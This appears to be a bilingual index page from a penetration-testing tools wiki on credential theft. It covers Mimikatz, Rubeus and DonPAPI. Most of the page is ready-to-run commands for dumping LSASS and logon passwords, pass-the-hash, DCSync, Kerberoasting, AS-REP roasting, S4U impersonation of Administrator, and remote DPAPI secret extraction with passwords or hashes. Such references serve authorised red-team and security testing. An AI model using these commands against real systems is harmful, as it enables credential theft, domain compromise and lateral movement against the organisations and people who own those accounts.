# 凭证窃取
English: Credential Theft
- Tool Count: 3
- Use this file to choose the right tool quickly, then open the linked source markdown for full command details.
## Mimikatz
- ID: mimikatz-tool
- Command Count: 12
- Original Extracted Source: original extracted tools-wiki source/mimikatz-tool.md
Description:
Windows凭证提取工具
Installation:
下载二进制文件
Representative Commands:
- 获取Debug权限: `privilege::debug`
- 抓取凭证: `sekurlsa::logonpasswords`
- 导出LSASS: `sekurlsa::minidump lsass.dmp`
- Pass-the-Hash: `sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:HASH`
- DCSync: `lsadump::dcsync /domain:domain.com /user:Administrator`
External References:
- https://github.com/gentilkiwi/mimikatz
## Rubeus
- ID: rubeus-tool
- Command Count: 9
- Original Extracted Source: original extracted tools-wiki source/rubeus-tool.md
Description:
Kerberos攻击工具
Installation:
编译或下载二进制文件
Representative Commands:
- Kerberoasting: `Rubeus.exe kerberoast /stats`
- AS-REP Roasting: `Rubeus.exe asreproast /user:username`
- 请求TGT: `Rubeus.exe asktgt /user:username /password:password`
- 请求服务票据: `Rubeus.exe asktgs /service:cifs/server.domain.com /ticket:TICKET_BASE64`
- S4U攻击: `Rubeus.exe s4u /user:service_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target`
External References:
- https://github.com/GhostPack/Rubeus
## DonPAPI
- ID: donpapi-tool
- Command Count: 3
- Original Extracted Source: original extracted tools-wiki source/donpapi-tool.md
Description:
DPAPI凭证提取工具
Installation:
pip install donpapi
Representative Commands:
- 提取凭证: `donpapi domain/user:password@target_ip`
- 使用哈希: `donpapi -hashes :NTHASH domain/user@target_ip`
- 批量提取: `donpapi domain/user:password@targets.txt`
External References:
- https://github.com/login-securite/DonPAPI

